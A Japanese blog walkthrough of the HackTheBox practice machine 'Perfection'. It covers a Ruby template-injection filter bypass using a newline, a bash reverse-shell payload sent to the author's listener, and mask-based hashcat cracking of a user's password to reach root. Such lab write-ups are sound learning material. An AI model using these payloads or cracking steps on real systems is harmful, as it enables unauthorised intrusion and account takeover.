今回はHackTheBoxのEasyマシン「Perfection」です!
マシンの名前からはあまりどのようなものか想像できませんね。
グラフはいつものEasyマシンと変わらない感じですね。
評価も高いので、面白そうです!サクッと攻略していきましょう~!
HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!
また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!
Perfection
列挙
それでは攻略を始めましょう。
まずはnmap
から実行していきます。
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.253
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx
22番と80番がオープンしていますね。
WEBでアクセスしていきましょう。
なにやら成績を計算する?ようなサイトが表示されました。
上のヘッダー部分には「Calculate your weighted grade」というボタンがあるので押下してみましょう。
重み付けができるようなページが表示されました。
とりあえず適当に入力してみましょう。重みを合計で100にする必要があるので、そこだけ注意してください。
結果が表示されています。ここで注目する部分は「Category」で入力した文字です。
入力した文字列がそのまま出力されているため、これは制御できる出力です。制御できる出力にはSSTIやXSSが発火する可能性があります。
SSTI
それでは早速SSTIを試していきますが、試す前にこのサイトがどの言語で実行されているのかを知る必要があります。情報がないかサイトを見ていると...
フッダー部分に「WEBrick 1.7.0」という表記があることに気付きました。WEBrickとは、HTTPサーバツールキットで、Rubyが使用されています。
よって、今回のサイトはRubyが使われているので、SSTIのペイロードもRuby用のものを用意しましょう。
入力するペイロードは<%= 7*7 %>
です。「Category」に入力し、リクエストを送信しましょう。
攻撃が検知され、ブロックされてしまいました!「Malicious input blocked」というエラーメッセージが表示されています。これは正常に制御していそうで、かなり怪しい部分です。「検知を回避してSSTIを成功させてね」と言われているようにしか聞こえません。
では、どのようにして検知を回避するかですが、もしもこの検知が正規表現で行われていた場合、Rubyには%0a
を使用して検知を回避するという手法があります。以下の記事で詳しく説明されています。
ホワイトリストベースですが、Rubyでは一行でも正規表現にマッチするとそれを正しいものとして通過させます。つまり、test%0a<%= 7*7 %>
のようにしたとき、test
の部分が正規表現にマッチするため、攻撃として検知されないということです。実際に試してみましょう。
攻撃が検知されず、test
の後ろに「49」と表示されました!SSTIの発火成功です。私はCTFに参加したことでこの手法をすでに知っていましたが、何も知らないひとは少し苦戦したのではないでしょうか。
susan としてのシェル
それでは、SSTIを悪用してシェルを取得しましょう。今回実行するペイロードは以下の通りです。
test%0a<%= system("bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'") %>
実行する前に、待ち受けを忘れないでください。
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
待ち受けが開始できたら、リクエストを送信しましょう。
特に出力はありませんが、待ち受けを確認すると...
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.253] 52960
bash: cannot set terminal process group (1026): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan
シェルを取得することができました!
susan@perfection:~$ ls -l
total 12
drwxr-xr-x 2 root root 4096 Oct 27 2023 Migration
drwxr-xr-x 4 root susan 4096 Oct 27 2023 ruby_app
-rw-r----- 1 root susan 33 Jul 14 04:24 user.txt
ユーザフラグもゲットです!
垂直権限昇格
それでは、ユーザフラグも取得できたのでroot
を目指していきます。
まずは、いつものようにsudo -l
を実行しておきましょう。
susan@perfection:~$ sudo -l
[sudo] password for susan:
Sorry, try again.
パスワードが求められたので、sudo
は実行できないようです。と思いましたが、id
コマンドを実行すると興味深い結果が出力されました。
susan@perfection:~/Migration$ id
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
なんとsudo
グループに所属しています。ということは、なんとかしてsusan
のパスワードを取得することが今回の垂直権限昇格の方法であることがわかりました。
Hash Crack
方向性も定まったので、さらに内部を列挙していきます。susan
のホームディレクトリ内にruby_app
とは別のMigration
というディレクトリがあるので、見てみます。
susan@perfection:~/Migration$ ls -l
total 8
-rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db
なにやら怪しいDBファイルがありました。内容を確認してみます。
susan@perfection:~/Migration$ strings pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
ハッシュ化されたパスワードを発見しました!解読に成功すればsudo
を使用して権限が昇格できそうです。
問題は、名前とハッシュをどこで区切るのかです。どこまでが名前でどこからがハッシュなのか微妙でしたが、WEBサイトにsusan
の本名が載っていました。
ということは、ハッシュはabeb6f8~9023f
の部分ですね。ハッシュの形もわかったので、john
で解読させましょう。
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (cryptoSafe [AES-256-CBC])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2024-07-14 01:26) 0g/s 2839Kp/s 2839Kc/s 2839KC/s 02102265315..*7¡Vamos!
Session completed.
解読できませんでした。。
Brute Force
ハッシュの解読に失敗してしまいましたが、ここまでの情報が出揃っていて解読を諦めるのは少し違和感を感じます。もしかしたらパスワードに関するヒントがあるかもしれないので、再度内部を調査してみます。
まず、susan
が所有するファイルを調べてみました。
susan@perfection:~$ find / -user susan -type f 2>/dev/null
/proc/1026/task/1026/fdinfo/0
/proc/1026/task/1026/fdinfo/1
/proc/1026/task/1026/fdinfo/2
...
/proc/1216/arch_status
/home/susan/.vimrc
/home/susan/.bash_logout
/home/susan/.bashrc
/home/susan/.profile
/home/susan/.sudo_as_admin_successful
/home/susan/.gnupg/pubring.kbx
/home/susan/.gnupg/trustdb.gpg
/home/susan/.cache/motd.legal-displayed
特に気になるファイルは見つかりません。次点として、susan
グループが所有するファイルも調べてみます。
susan@perfection:~$ find / -group susan -type f 2>/dev/null
/var/mail/susan
/proc/1026/task/1026/fdinfo/0
/proc/1026/task/1026/fdinfo/1
/proc/1026/task/1026/fdinfo/2
...
/home/susan/ruby_app/public/css/montserrat.css
/home/susan/ruby_app/public/images/tina.jpg
/home/susan/ruby_app/public/images/lightning.png
/home/susan/ruby_app/public/images/checklist.jpg
/home/susan/ruby_app/public/images/susan.jpg
/home/susan/.cache/motd.legal-displayed
/var/mail/susan
を発見しました!内容を確認してみましょう。
susan@perfection:~/Migration$ cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students
in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
パスワードの形式が書かれています!メールによると、名前 + 名前を逆にした文字列 + 最大10桁のランダムな数字でパスワードが生成されるようです。名前はsusan
であるとわかっているので、あとはランダムな数字さえわかればパスワードが取得できます。
最大10桁の数字程度であれば、hashcat
の総当たりで解読可能なので、実行しましょう。
+[~/perfection]
(σ▰>∇<)σ<10.10.14.8>$ hashcat -m 1400 -a 3 hash.txt --increment "susan_nasus_?d?d?d?d?d?d?d?d?d?d"
hashcat (v6.2.6) starting
...
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Sun Jul 14 01:43:51 2024 (9 mins, 16 secs)
Time.Estimated...: Sun Jul 14 01:53:07 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: susan_nasus_?d?d?d?d?d?d?d?d?d [21]
Guess.Queue......: 21/22 (95.45%)
少し時間はかかりましたが、パスワードの解読に成功しました~!
root としてのシェル
それでは、解読したパスワードを使用してsudo
を実行しましょう!
susan@perfection:~$ sudo -i
[sudo] password for susan:
root@perfection:~# whoami
root
権限昇格成功です!
root@perfection:~# ls -l
total 4
-rw-r----- 1 root root 33 Jul 14 04:24 root.txt
ルートフラグも取得でき、完全攻略達成です~~!
攻略を終えて
今回のマシンはEasyマシンにしてはテクニックが求められるマシンだったのではないかと思います。Rubyの正規表現バイパスなんかは開発者の人でも知らなそうなマイナーなものなので、躓く人も多そうだなと。。権限昇格時のハッシュ解析はなんとか行ける人が多いのでないかと思いますが、メールを見つけることができるかどうかがポイントですね。足がかりとしては、RubyのSSTIだったわけですが、今回のように「実はこんな仕様だったんです!」的な見逃しが一番怖いので、使用する技術への理解は確実に深めるようにしたいです。
いつものEasyマシンとは少し違ってとても楽しいマシンでした!
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました!